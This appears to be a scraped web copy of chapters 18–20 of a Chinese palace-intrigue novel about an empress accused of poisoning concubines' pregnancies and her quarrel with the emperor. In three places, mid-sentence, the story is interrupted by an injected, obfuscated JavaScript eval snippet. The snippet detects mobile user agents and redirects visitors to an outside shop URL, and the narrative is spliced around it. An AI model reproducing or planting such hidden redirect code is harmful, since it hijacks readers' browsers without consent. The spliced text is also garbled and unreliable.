她的晕厥的突然,却又恰到好处,仿佛一出精心排练的戏剧,将整个除夕宴推向了高潮。 外命妇们的心跳如鼓,有人暗自思忖:这后宫的水深得能淹死人,皇后娘娘平日里看着温婉大方,谁知竟有这等手段? 她们交换眼神,不敢多妄言,甚至有人很畏惧。涉及到皇家的丑事,要是姬阆要灭口,她们岂非遭了无妄之灾了! 贤妃和贞妃见德嫔晕了过去,心下暗自窃喜。 宋美人小产之事几乎已成定局,德嫔再一晕厥,皇嗣接连出事,当着众人的面,姬阆岂能不彻查的道理? 两位长公主看了这一出精妙绝伦的好戏,她们交换一番眼神,最后由永宁长公主出面,她走到姬阆跟前,低声提醒道:“万岁,这……后宫之事闹得太大,只怕外朝的大人们也要议论了。” 见永宁长公主和姬阆在窃窃私语,贤妃捏紧了手里的帕子,面上装作焦急之色,也跟着上前露脸,道:“万岁爷,德嫔妹妹还有孕在身,最是受不得惊吓了,尽快让人安排她下去歇息吧。再有燕窝一事……臣妾也觉得古怪,不如命东厂彻查,以还皇后娘娘一个清白?” 此话一出,众人的目光瞬间落在贤妃身上。 似乎是不愿贤妃一枝独秀,贞妃赶紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590354|205432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 附和了一句:“贤妃妹妹所言极是,万岁爷,宋妹妹和德嫔妹妹有孕,本来是宫中喜事。现下却……这背后一定有歹人作祟……说小了是要置皇嗣于死地。说大了是算计我大周的国本啊!” 贞妃深知姬阆对万皇后的偏袒,她比贤妃要高明一些,并未将矛头指向万皇后,只是让姬阆彻查此事。 这边,万皇后也算是看明白了,这件事是冲着她来的。贞妃和贤妃这样跳脱,背后如果没有她们在搞鬼,她的万字就倒过来写。 宜含闻言,心头一紧。 她瞥了周颐一眼,后者微微摇头,示意她静观其变。 她想了想,最后还是上前一步,贝齿轻启:“万岁爷,今儿出了这样的大事,这宴会只怕是办不成了,此处人多眼杂,还是先请太医为两位妹妹诊治罢。” 接二连三的话传来,姬阆的脸色更沉如铁。 宜含的意思他自然明白,于是遣散了在场的诸位诰命。 然后他又俯身查看德嫔,只见她双目紧闭,额头渗出细汗,他心知德嫔平日里爱耍小聪明,现下多半是有几分演戏成分,可皇嗣之事,终极还是不容有失。 他对两位太医挥了挥挥手,下了死令:“将德嫔送去琉璃馆与宋美人一同诊治,朕要她们母子平安!否则你们提头来见!” 言毕,他转头对沈安厉声道:“即刻封锁玉津园!朕要一个真相!” 沈安领命,眼中闪过一丝不易察觉的异色。 今夜之事已然闹大,朝臣和外命妇都在场,传出去便是皇家丑闻。 他低声道:“臣遵旨。” 很快,沈安领着东厂番子迅速行动,园内宫女宦官一个个被带走问话。 万皇后站在一旁,脸色已白如雪。 她本就因德嫔的失言而怒不可遏,现下见这贱人竟敢当着姬阆的面晕厥,更是直指自己,气得浑身发抖。 她知德嫔这腹痛八成是装的,那日李太医诊过,不过是轻微胎动,如何会突然发作? 万皇后冷笑一声,上前道:“万岁,德嫔有孕,臣妾自是关心的。只是她方才言及燕窝有异,可臣妾大赏六宫,为何唯独就她德嫔吃出问题来了?又何故现下又晕厥?莫非是心虚,还是说,是有人教唆?臣妾是冤枉的!” 姬阆闻言,转头看向万皇后,眼中怀疑一闪而过。 他不是没有怀疑过万皇后,只是两个皇嗣接连出事,还都指向了万皇后。他说不出什么责备的话,只低声道:“皇后,你暂且先回坤宁宫。朕……会还给你一个公道。” 他的声音带着一丝疲惫,仿佛后宫的阴谋诡计已经将他压得喘不过气。 万皇后闻言,心如死灰。 她起身,勉强笑了笑:“臣妾明白了……” 她转身离去时,瞥了德嫔一眼,那眼神如毒蛇般阴冷。 汪嬷嬷快步跟上万皇后,声音不自主地发颤:“娘娘……这一定是有人栽赃!一定是有人要陷害咱们!” 万皇后抬头望了一眼月色,然后垂下头,“栽赃也好,陷害也罢,关键是万岁爷信了,咱们又能如何?且容他们闹去罢,不是本宫做的事,他们又能查出什么呢!” 闻言,汪嬷嬷却脸色却有些不大好看。若是仔细查起来,她们坤宁宫的手脚自然也是不干净的。 两位长公主又上前继续劝慰姬阆。 永宁长公主低声道:“万岁,这件事闹得太大了,您看皇后娘娘这些年……陛下莫要为此伤了身子。” “皇姐说的是,甭管此事如何,还请皇兄千万要仔细自个儿的身子。” 延庆长公主点了点头,跟着劝了一句。 姬阆不想谈论这些,于是抬手一挥:“皇姐、皇妹,朕自有分寸。今儿出了这样的事,就不留你们了,你们也回吧,改日再请你们进宫。” 19. 第 19 章 离开玉津园后,万皇后坐在轿舆上,脸色阴沉的可怕,仿佛要吃人一般。 汪嬷嬷强忍着惧怕意,小声劝了一句,“娘娘,您放心,万岁爷那日是亲耳听到的,德嫔就算是想要攀扯您,也是无用的……” 万皇后冷笑一声,她转头看向汪嬷嬷,那双眼睛如深潭般幽暗,透着让人不寒而栗的寒意。 “德嫔仗着腹中龙胎,就敢在除夕宴上以下犯上!他日生了皇子岂不是还要骑在本宫的头上!还有宋美人那个小贱人……本宫岂能咽下这口气?” 汪嬷嬷闻言,心头一颤。 她侍奉万皇后多年,深知万皇后的性子如烈火,一旦点燃,便是焚天灭地。 她赶紧低下头,“娘娘息怒!德嫔那丫头位份低微,不过是仗着有孕罢了。待她生下孩子,娘娘再收拾她也不迟。只是宋美人这胎……奴婢瞧着只怕是不成了,偏德嫔又说了那些话,让万岁爷心底有了什么就不好了。” 万皇后闻言,脸色稍缓。 她靠在轿舆的软枕上,闭目养神,脑海中不由回荡起今夜宴会的乱象。 德嫔倒也还罢了,装晕的理由情有可原……可宋美人那胎,她分明未曾动手,这一切都来得太巧合了。 分明是有预谋!是有人指使!对,一定是是有人指使! 万皇后脑海中如电光石火般闪过无数念头,贤妃、贞妃、甄贵妃……她们的面容依次从她的脑海中浮现。 这些年宫妃小产之事虽然大多出自她的手,可今夜之事绝非她所为。 燕窝是她赏的没错,可她何时在除夕宴上动手?分明是有人在借刀杀人,想要将所有血债都推到她头上! “嬷嬷!” 万皇后突然睁开眼睛,声音低沉如冬夜的风,“你亲自去查一下德嫔和宋美人宫里的人,尤其是她们身边的丫头!敢在本宫眼皮子底下作祟,本宫要她们一个个死无葬身之地!” 汪嬷嬷闻言,脊背发凉。 她知主子动了真怒,今夜坤宁宫怕是要血流成河。于是赶紧应道:“是,娘娘!奴婢这就去办。” 轿舆很快抵达坤宁宫。 万皇后下轿后,直奔内殿。 琉璃馆这边,宋美人腹痛不止,很快就晕厥过去,血液如涓涓细流,染红了她的衣裙。 “不好!” 张太医面色大变,惊呼一声。 宋美人的宫女早就六神无主了,只是在旁边一个劲地哭。 张太医的惊呼如惊雷般炸响在琉璃馆内,瞬间打破了短暂的宁静。 馆内众人闻言,皆是脸色煞白。 孙太医赶紧上前,两人合力施针止血,张太医额头渗出细密的汗珠,手中的银针颤颤巍巍。 他一边动作,一边低声道:“孙太医,宋美人的胎气已散,血崩不止……这孩子……怕是保不住了!咱们得赶紧想法子止血才是。” 宋美人的宫女闻言,哭得更凶了。 她跪在地上,头磕得咚咚作响,声音哽咽:“太医……求求你们救救我家主子……若是皇子没了,我们主子可怎么活啊……都是……都是那燕窝……皇后娘娘……” 孙太医闻言,眉头紧锁,却不敢多言。 他知宫中是非多,一言不慎便是杀身之祸,立即从药箱中取出纸笔,三下五除二开好一张方子,命宫人即刻去抓药煎制。 因玉津园今儿开了宴,御药局的人一直在此地候着,继而还是很方便。 一个穿着蓝袍的宦官拿着方子就狂奔而出。 孙太医快步来到张太医跟前,小声道:“张兄,这脉象虚弱至极,似乎是中了滑胎之毒。剂量还不小,只怕……” 张太医却挥手打断他:“莫要胡言!万岁爷已经命东厂彻查,自有主张!咱们只管救人!旁的一概不知!” 琉璃馆外,姬阆立在廊下,脸色铁青,他本是前来查看宋美人和德嫔的情况,谁知刚到门前,就听到张太医的惊呼。 他的心头如坠冰窟,又一个皇嗣没了! 今夜除夕宴上,宋美人血崩,德嫔腹痛……这难道都是巧合不成? 他大步推门而入,只见宋美人躺在榻上,脸色苍白如纸,衣裙下血迹斑斑,已染红了半边床褥。 宫女跪在一旁哭泣的不成声。 姬阆心头一痛,上前道:“如何?宋美人的孩子……可还保得住?” 张太医跪地道:“回陛下,美人血崩不止,胎儿已……已滑落。臣等无能,只能尽力保美人一命……” 姬阆闻言,脸色更沉。 他挥手让太医退下,独自坐在榻边,望着宋美人那张虚弱的脸庞。 就在此时,宋美人不知是何缘故,竟悠悠转醒,见姬阆在侧,她立即捂住小腹,感受到身体传来的剧痛,她泪如雨下:“万岁爷……臣妾的孩子……是燕窝……皇后赏的燕窝……求万岁爷为臣妾做主啊……” 姬阆闻言,心如刀绞。 他握住宋美人的手,低声道:“朕知晓了。你安心养身,朕会彻查此事。无论何人所为,朕都不会轻饶!” 他虽然答应宋美人彻查,可声音却带着一丝不易察觉的疲惫。 妙贤……你这些年所为,朕睁一只眼闭一只眼,可若真是你对皇嗣下手……积年累月,朕又该如何自处? 旁边的德嫔闻言,心头暗喜。 她本就只是装晕,现下见宋美人真的小产了,决定火上浇油,再烧一把火。 她睁开紧闭的双眼,虚弱地开口:“万岁……臣妾的孩子……今夜见臣妾宋妹妹这般,臣妾心急如焚……皇后娘娘的眼神……好可怕……臣妾怕……怕她会迁怒臣妾……” 姬阆闻言,眉头皱得更紧了。 他握住宋美人的手不由一松,宽慰她好生休养。 宋美人本来刚失了孩子,情绪低落,身子又疼痛不已。她知道姬阆被德嫔勾去了心神,只是还不等她说什么,就再次因为疼痛而晕厥过去。 一时又闹的人仰马翻。 因为不便挪动,姬阆遂让人设了屏风,将两人分隔开。继而又来探望一侧的德嫔。 德嫔的心思他不是没看出来,只是当时顾忌着她怀着孕,二来当着一众诰命的面上,总得留几分颜面。 他深吸一口气,强压住心头的疲惫,转头对德嫔道:“爱妃,你还有孕在身,莫要胡思乱想。皇后乃中宫之主,岂会迁怒于你?今夜的事,朕自会命东厂彻查,你且安心养胎就是。” 德嫔闻言,心头一喜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590355|205432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她装作一副感激涕零的样子,“谢万岁,臣妾……臣妾自是无不相信。只是臣妾怕……怕皇后娘娘会……会记恨臣妾……” “怎么会呢!” 德嫔再一再二地试图挑战他的底线,姬阆低喝一声,立即打断了她的话。 他的声音虽低,却带着上位者的威严,让馆内众人不由屏息。 德嫔被吓了一跳,本能还是让她赶紧闭上嘴,只是她委屈的很。 不过……今夜这一出,总算将皇后推到风口浪尖了。方才那些外命妇具都在场,谋害嫔妃和皇嗣的丑闻一旦传出去,皇后就算真的无罪,也再难以洗清污名了。 姬阆似乎意识到方才言语的不妥,安抚了德嫔几句后,起身走出琉璃馆,沈安紧随其后。 他低声道:“沈安,即刻审问尚食局和坤宁宫的人。燕窝的事,这次一定要查个水落石出!另外,德嫔和宋美人宫里,也派人盯着。朕不信今夜的事,就那般巧合!” 沈安叩首:“臣遵旨。” 沈安心知陛下对皇后情深,可皇嗣没了,这事已成死结。他暗自思忖:皇后这些年手段狠辣,可今儿这事当着朝臣和诰命的面,不能如往常那般高高拿起,轻轻放下,若一旦查出实证……只怕坤宁宫要变天了。 处理完迎春园的事,姬阆又带着人赶回前面的福庆殿,尽管他现在十分疲倦和头疼,却不得不去前面继续和朝臣们君臣同乐。 这是祖制,也是他身为天子的威严和责任,无论任何时候,都要保持一国之君的仪态。 福庆殿内,灯火依旧辉煌,丝竹声声不绝。群臣见姬阆归来,皆起身行礼,口中齐声道:“万岁圣安。” 姬阆强颜欢笑,挥手示意众人落座。 他重新坐回龙椅上,端起酒杯,遥敬群臣:“今夜除夕,朕与诸卿共饮,愿大周江山永固,百姓安乐。” 群臣谢恩,纷纷举杯。殿内表面上一片和乐,实则暗流涌动。 几位老臣交换眼神,姬阆出去甚久,迎春园的动静又闹的不小,他们已从内侍口中隐约听闻是后宫出了事。 礼部尚书李寻芳对着一旁边的内阁首辅张远山低声道:“阁老,我瞧着圣上的脸色不大对,只怕就要不太平咯。” 张远山闻言,微微颔首,眼中闪过一丝老狐狸般的精光。 他是内阁首辅,这些年辅佐姬阆处理朝政,对后宫之事也耳闻目睹了不少。 迎春园的动静闹得太大,内侍们虽不敢明说,可宋美人小产的消息没能瞒住。 张远山捋了捋胡须,低声道:“子岳兄所言不虚啊……只是咱们做臣子的,也只能尽力解君父之忧。” 李寻芳点头称是,眼中忧色更浓,他顿了顿,才悠悠道:“只是皇嗣之事关乎社稷,陛下而立之年还无子嗣,若再拖下去,只怕就要生变了。” 然而涉及到国本,张远山沉默不语,不敢妄议。 见张远山没有接话,李寻芳也觉的自讨没趣,暗骂了一句老狐狸也不再多言。 殿内丝竹声又起,姬阆再次举杯与群臣共饮,面上虽带笑意,却掩不住有些发白的脸色。 几位重臣互相交换眼神,心知眼前的太平只怕是表面文章,只怕是不久之后就要掀起一场滔天巨浪了。 20. 第 20 章 宫宴结束后,姬阆带着御前的人直奔坤宁宫而去。 此时坤宁宫乱作一团,沈安奉旨前来缉拿坤宁宫所涉及到燕窝的一应人等。然而此举却激怒了万皇后,万皇后不顾身份和体面,直接冲到月台下,对着沈安的脸就招呼了上去。 清脆的巴掌声在夜色中格外清晰,四周立即就静了静,众人都看呆了。 沈安虽然不是掌印太监,不过他是司礼监秉笔,又兼管着东厂,不说是在后宫,就连在前朝也是很有脸面和地位的。谁能想到万皇后会当着众人的面上去掌掴沈安。 “沈安!” 万皇后冷笑一声,指着他的鼻子骂道:“他姬阆还没废了我,本宫依然还是大周的国母!这儿是坤宁宫,不是你的东厂!要作威作福,就滚回你的东厂去!” 万皇后的声音更是语不惊人死不休,当着众人直称帝王名讳不说,还说出这样大不敬的话。 汪嬷嬷怕了,万皇后这一巴掌是扇在沈安脸上吗?分明是在打万岁爷的脸面,不啻于在宫中扔下一颗惊雷。 无论是东厂的番子还是坤宁宫的宫人,此刻一个个都低头屏息,不敢抬头直视坤宁宫这位至尊的面庞。 沈安那张白净的脸上,顿时浮现出五个鲜红的指印,他却不敢擦拭,只是躬身行了一礼,“皇后娘娘息怒,臣也只是奉旨行事。娘娘若有任何不满,尽可去万岁爷跟前分说。” 他早知道万皇后不会让他带走坤宁宫的人,如此,这一巴掌也能够在姬阆跟前交差了,倒是意料之中的事。 万皇后闻言,更是气得胸口起伏。 她本就因今夜的乱局而心力交瘁,现下沈安这阉人还敢公然顶撞她?她的声音不由也拔高了几分:“奉旨?好一个奉旨!姬阆信了那些贱人的鬼话就派了你来坤宁宫耍威风?他怎么不亲自来见我!” “娘娘慎言!” 说罢,沈安已经有了退意,不想再跟万皇后纠缠。 汪嬷嬷恨不得堵住自家娘娘的嘴,她踉跄地跪倒在万皇后跟前,颤抖的双手拽住万皇后的裙摆,声泪俱下:“娘娘,皇后娘娘……您就听奴婢一回劝吧,这事不是咱们做的,您这是又是何苦啊……” 见此,坤宁宫的宫人纷纷下跪跟着一起劝。 万皇后用力甩开汪嬷嬷的手,目光如刀刃般扫过跪在地上的众人,“都起来!本宫何须你们来劝!你们是坤宁宫的人,是本宫跟前的人!沈安,你要带人就带走,但记住,本宫把话也搁这儿了,若你查不出个子丑寅卯,你们东厂上下,一个都别想好过!” 沈安闻言,心头微微一沉。万皇后这般强势,让他有些意外,难道此事真的不是皇后做的? 他叩首道:“娘娘言重了,臣自会秉公办理,不敢有丝毫徇私。” 说罢,他挥手示意番子们上前,动作迅速地将几个涉及燕窝赏赐的宫女和宦官们带走。 其中包括李玉娘她们,李玉娘脸色煞白,口中还喃喃求饶,却被东厂的人如拖死狗般拉出坤宁宫。 坤宁宫内,一时哭声四起。 那些被带走的宫人都是万皇后身边的老人,她们平日里仗着主子的恩宠,在后宫中横行惯了,谁知今夜竟遭此大祸。汪嬷嬷见状,心如刀绞,她知主子是动了真怒,可想到东厂那些人的手段,只怕这些丫头们只怕要吃大苦头。 万皇后最是听不得这些,让她勾起了太多不好的记忆。 她浑身发抖,抄起身侧的茶盏就掷了过去,刚好溅射在沈安的脚下。 就在这时,姬阆一行人也到了坤宁宫,听到清脆入耳的声音,他不由自主抬头望去,赫然对上了万皇后那充满怒意的目光。 姬阆来的突然,打了众人一个措手不及,他们纷纷下跪问安。 姬阆自顾走上去,距离万皇后不远处才堪堪停下脚步,只见他微微抬手,目光很快被沈安脸上的巴掌印子所吸引,虽然猜到了几分缘由,不过还是沉着声儿问了一句:“怎么回事?” “回万岁爷的话,是臣自己摔了一跤。” 沈安没敢说是万皇后动的手。 姬阆闻言,眉头微微一皱,他不是傻子,沈安那张脸上的指印分明是巴掌留下的痕迹,如何会是摔跤所致? 他瞥了万皇后一眼,只见她脸色铁青,胸口起伏不定,那双眼睛中此时充满了怒火。 “皇后!” 姬阆低声唤了一声,声音中带着一丝疲惫和无奈,“德嫔和宋美人具说是吃了你赏的燕窝,朕不得不查。再者……这些年东厂办事,向来公允,你又何必为难沈安!” 姬阆此话大有深意,有意大事化小,小事化了。 万皇后却是冷笑一声,她上前一步,直视着姬阆的眼睛,声音带着一丝颤抖,却透着前所未有的强势:“万岁爷,那些贱人当着众诰命的面污蔑臣妾,您不亲自去审问她们,却派了这些人来我的坤宁宫,您这是审问她们?还是说,您要审我!” 姬阆闻言,心头更加烦闷了,宴会本就让他疲惫不堪,眼下又见到万皇后在这里胡搅蛮缠,一昧耍横使小性子,一时也动了怒。 “万妙贤,你够了!” 姬阆对上万皇后有些狰狞的面庞,大声喝斥道:“若想人不知,除非己莫为!倘若真不是你动的手脚,这些奴婢真的无辜,你何必如此疾声厉色!” 众人跪了一地,心头怕的要死,生怕为此卷入到帝后之争去。 万皇后愣了愣,明显没想到姬阆会质问她,甚至是直呼其名。多少年了,已经有多少年没有人直呼她这个名字了,久到连她自己都已经遗忘了。 半晌后,万皇后抬头望着姬阆,她声音平静异常,仅仅只是吐出四个字:“你疑心我?” 万皇后心如死灰。 这四个字如一把钝刀,缓缓划过她的心口,鲜血淋漓。 她本以为姬阆会信她,可今夜,他的怀疑如洪水般倾泻而出,将她最后的幻想彻底淹没。 万皇后直起身子,脸色苍白如纸,却强作镇定,声音平静得近乎诡异:“万岁爷,既然您疑心臣妾,那臣妾又何必多言?” “你心中有数!” 姬阆别过头,直接打断了万皇后的话。 他合上眼睛,脑海中不断浮现贞妃她们的身影,还有哪些无辜的孩子,他曾经因他们的来到而欣喜,也为他们的早逝感到愧疚和难过……这些年,的确是他太过于偏袒妙贤了,可对于贞妃、宜含她们,何尝不是另外一种残忍。 闻言,万皇后踉踉跄跄地后退数步,最后还是汪嬷嬷眼疾手快一把扶住了她。 万皇后望着这个曾经深爱的男人,想到他曾经许下的誓言,明明已经对他心死了,此刻却还疼痛不已,她只觉的遍体生寒。 忽然,不知是何缘故,万皇后上前拉住了姬阆的袖子,带着他直冲坤宁宫的内殿而去。 众人被眼前一幕惊呆了,但谁也没敢上去拉,他们将头埋得更低了。若说宫里谁敢这样对姬阆,只怕也只有万皇后了。平日里虽然流传丽妃时不时要给姬阆脸色瞧,可真正能随时随地不给姬阆颜面的,也只有万皇后一人罢。 万皇后拉着姬阆进入内殿后,直奔侧殿的神龛而去,最后指着正中供奉的一个神主牌位道:“臣妾以悼怀太子的名义起誓,绝没有害过德嫔和宋美人腹中的孩子!” 悼怀太子,那是他们第一个孩子,却因为当时被圈进在南苑,最终无奈看着他夭折,这是两人共同的痛处。 姬阆望着那个神主牌位,上面刻着“悼怀太子”之名,那小小的牌位仿佛承载了无数往昔的悲痛。 南苑的日子,本是他们夫妻最艰难却也最亲密的时光,那孩子来得突然,去得更突然,一场风寒如无情的利刃,斩断了他们初为人父母的喜悦。 “你这是拿悼怀太子做挡箭牌吗?你敢说张美人、贤妃、贞妃、昌嫔、甄贵妃……她们的孩子都与你无关吗?” 姬阆不知道为何,突然冷冷说出这样一句话。是为贞妃她们鸣不平?亦或是自己无法容忍万皇后继续残害皇嗣了?连他自己也有些迷茫。 万皇后的手缩了回来,望着悼怀太子的神位,她终究沉默不语起来。 姬阆早知会有如此结果,他长舒了一口气:“这些年那么多孩子都没了,也该够了罢……” 然而,姬阆看似服软的话似乎触及到万皇后的逆鳞,她顿时转过身,对姬阆步步紧逼,声音尖锐刺耳:“不够!还不够!当年是谁对我许下誓不生异腹子的诺言,万岁爷这么快就忘了吗!” 姬阆闻言,脸色陡然一变。 那句诺言,如尘封的旧伤被猛然撕开,鲜血淋漓。他当年在南苑许下誓言时,是真心实意,那时他们夫妻患难与共,他以为一生只她一人足矣。 可帝王之家,怎能无嗣?万皇后今夜直言戳破,让他立即无地自容。 “妙贤……” 姬阆的声音低沉,带着一丝涩意,“当年之事,我从未忘却。可大周的江山,需要皇嗣延续。朕不能让祖宗基业断于朕手!他日百年之后,教我……我如何面对列祖列宗?” 万皇后闻言,冷笑连连,她笑声中带着无尽的凄凉和怨恨,似看破了眼前之人的凉薄与虚伪。 她的眼中泪光闪烁,透着前所未有的决绝:“万岁爷好大的道理!江山?这江山分明是成庙一脉的,他齐王还好生生在山东待着!你又算哪门子后继子孙?到了阴司说不得还要当着世庙打官司!” 话音刚落,万皇后犹嫌不足,继续道:“当年你想借腹生子,将肃妃之子抱养到我的名下教养。可结果呢?肃妃恃宠生娇,那贱婢不但不想将孩子给我,还想着取我而代之!这让我如何能忍!好在肃妃愚昧,居然想借着孩子的事诬陷我!简直愚昧至极!从那时我就打定了主意,绝不允许这些贱婢生下孩子!” “你疯了!” 姬阆的声音如惊雷般炸响在侧殿内,那眼神中带着震惊、愤怒以及一丝难以置信的痛楚。 不是顺位继承大位,是姬阆心头的一根刺,齐王更是他的逆鳞。 他望着眼前这个曾经与他共患难的女人,如今却如一头被逼到绝境的猛兽,眼中燃烧着名为疯狂的火焰。 悼怀太子的神位前,烛火摇曳,映照出两人扭曲的脸庞,仿佛这殿内的一切,都在为这段帝后间的往事作证。 万皇后冷笑了一声,更加癫狂,她的脸几乎贴近姬阆,那双眼睛如淬了毒的箭,直刺姬阆的心底:“疯了?你说我疯了?当年那贱婢怀上龙种时,你不是也默许我动手?你说那只是权宜之计,为了稳固臣妾的皇后之位!可如今呢?事到临头,你就将一切推到我的头上!你说,到底我们谁疯了?” 姬阆闻言,心头如坠冰窟,他被万皇后的话堵得哑口无言。 当年肃妃之事,的确是他默许,甚至是纵容。被圈禁在南苑后,他欠她的太多,可那些孩子……那些无辜的皇嗣,一个个在腹中夭折,他虽心痛,却从未深究,甚至不敢去深究,只为着当年的情分。 可今夜,除夕宴上的血淋淋一幕,让他再也无法自欺欺人,他不愿让万皇后再继续下去。 他后退一步,痛心疾首:“妙贤,你可曾想过我的痛?我这些年睁一只眼闭一只眼,不都是为了你,否则你怎可如此肆无忌惮!是我错了,错在不该这般纵容你!” 万皇后闻言,眼中泪水终于决堤。 她大笑起来,那笑声中带着无尽的悲凉和绝望:“何止是万岁错了,是臣妾大错特错才对,只恨我当时瞎了眼,看错了人,以至于才落到今时今地的地步!” “你!你……” 姬阆面红耳赤,还想要和万皇后争辩,可一时竟无言以对。 “这都是你的报应,是你亲手撕毁我们的誓言!左一个妃子,右一个嫔御纳进宫里来,你几时想过我?又几时想过我们的悼怀太子!姬阆!你就是一个彻头彻尾的虚伪小人!只怨我万妙贤当年瞎了眼,竟然陪你在南苑苦苦捱了那么多年!” 万皇后趁机又刺了姬阆几句,她的话如针一般狠狠扎进姬阆的心头。 姬心如刀割,万皇后每一句指责都如利箭穿心,让他回想起南苑的苦难日子。 那时,他们夫妻相依为命,他许下誓言,是为了给她一线希望,一丝温暖。可如今,那些话被扭曲成武器,反过来刺向他自己。 他面红耳赤,胸口起伏不定,终究忍不住低吼道:“万妙贤,你够了!朕是天子,不是当年那个被圈禁的落魄庶人!南苑的誓言,朕铭记于心,可江山社稷和祖宗基业不是儿戏!那些妃嫔进宫,是为了延续血脉,不是为了背叛你!悼怀太子没了,朕也痛不欲生,可你……你却拿那些无辜孩子开刀!你说朕虚伪?好,那朕就告诉你,朕这些年纵容你,已是最大的不忠于祖宗!若你再继续,朕……朕也容不得你!” 听到这些话,万皇后身子一晃,脸色煞白如纸。她本就濒临崩溃,现下却犹如被抽空了所有力气,泪水无声滑落。 她那双明媚的眼睛中,没有疯狂,只剩下无尽的空洞和绝望。她后退一步,靠在神龛上,声音低沉得近乎喃喃:“姬阆,你终于肯说实话了……原来,自始至终你就是这样看待我的。” 话音落下,万皇后的目光旋即来到悼怀太子的神位上,她的笑容凄惨,“既如此,你直接废了我!废了悼怀太子!甭管香的臭的,都抬进你的乾清宫,岂不畅快?” “万妙贤!” 姬阆怒目圆睁,叱道:“你要记住,你还是皇后!请注意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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万皇后死死盯着姬阆离去的方向,不知是恨意使然,还是有别的缘故。突地从髻上拔下一根累丝金凤钗奋力向前掷去,只见凤钗在空中飞出了一个漂亮的抛弧线,径直插进了坤宁宫的殿门上,与姬阆的衣袖只差一线。 姬阆瞥了眼身侧的凤钗,英挺的剑眉微微一蹙,脸色十分难看,正欲回头说什么时,只看见万皇后那满是恨意的双眼,到嘴边的话,却是怎么也说不出了,抿了抿唇后,终是摇头离开了。 此幕刚好被壮着胆子进来的汪嬷嬷瞧见,她身子立即瘫倒在地,近乎吓死。试问哪朝的皇后胆敢袭击天子,当今皇后算是开了先例。 她们在外头听到帝后似乎在激烈地争吵,而后又听见瓷器和不知名物体砸在地上的声音,似乎是两人动了手。 沈安当即就要进殿,最后还是汪嬷嬷劝下了他,由汪嬷嬷自个儿进去,谁知刚到门口就瞧见了这骇然的一幕。 姬阆走下月台,方才万皇后的言语历历在目,他越想越气,一股邪火油然而生。 就在此时,李玉娘因为跪的腿麻了,不慎发出一声轻吟。 此举却吸引了姬阆的注意力,他循声望去,李玉娘姣好的面庞赫然落在他的眼中。 李玉娘生得清丽脱俗,长睫如扇,一双杏眼微微低垂。微露出来的脖颈,只觉的白皙如玉,她的唇瓣如罂粟花一般鲜艳,此时却微微抿着,带着一丝江南女子的娇弱。 她跪在地上,身子微微颤抖,那声轻吟如一缕春风,吹散了姬阆心头的些许戾气。 他脚步一顿,原本的怒火竟莫名其妙地化作一丝异样的悸动。 坤宁宫外,东厂的番子和坤宁宫的宫人们跪了一地,大气都不敢出。 沈安心头一紧,额头的冷汗直流,见姬阆停步,他却不敢抬头。 “抬起头来。”姬阆的声音低沉,却带着一丝不容抗拒的威严。 李玉娘闻言,身子一颤,她本就腿麻得厉害,现下更是心如鹿撞。 她缓缓抬起头,那张脸在灯火下更显娇媚,眼中带着一丝惶恐,却又不失一种天真的纯净。 姬阆望着她,心头那股邪火竟化作另一种火焰,烧得他口干舌燥。 这些年,后宫妃嫔虽多,可万皇后的强势,让他鲜有真正放纵的时候。 今夜被万皇后一通指责,他本就气闷,现下见这宫女模样,竟生出一丝报复般的冲动。 “你叫什么名字?”姬阆问道,声音竟柔和了几分。 李玉娘跪地叩首,声音抖成了筛子,“回……回万岁爷,奴婢李玉娘,是坤宁宫茶膳间的宫女。” 沈安闻言,心头一凛,他知李玉娘是今夜被带走的嫌疑人之一,现下陛下注目,只怕有变。 他赶紧低声道:“陛下,此女是坤宁宫的,涉燕窝一案……” 姬阆挥手打断他,眼中闪过一丝冷光:“沈安,你先带其他人回东厂审问。此女……朕会亲自问话。” 他顿了顿,目光再次落在李玉娘身上,那眼神中带着一丝异样的温柔:“起来罢,随朕去乾清宫。” 李玉娘闻言,脸色煞白。 她本是无辜被卷入,今夜被东厂带走,已是惊魂未定。现下陛下要带她去乾清宫,她心知那是何意,却不敢抗拒。 她颤颤巍巍起身,腿软得险些跌倒,所幸被身边跪着的秋荷拉了一把。 秋荷有些担心地看了李玉娘一眼,只是她人微言轻,并不能帮助她什么。 殿内,万皇后仍枯坐在地上,满是血迹的玉手抚了抚鬓边的碎发。 她埋头看了看自己血迹斑驳的双手,手不知什么时候被陶瓷碎片划伤,但因为太过悲痛,连手上的疼痛竟也没发现。 她的目光缓缓越过坤宁宫半掩着的宫门,望向远处想要说些什么时,可临近嘴边,如鲠在喉,似乎是太过悲愤,以至于不能言语。 空气静的有些可怕,如同这座暮霭沉沉的禁庭一般,仿佛压的人喘不过气。 “娘娘……” 汪嬷嬷快步走到万皇后身前,心疼地看着她,正想将她搀起来,却被她推开了。 万皇后很想要哭,可是真正到了极尽悲伤的时候,是哭不出来的。 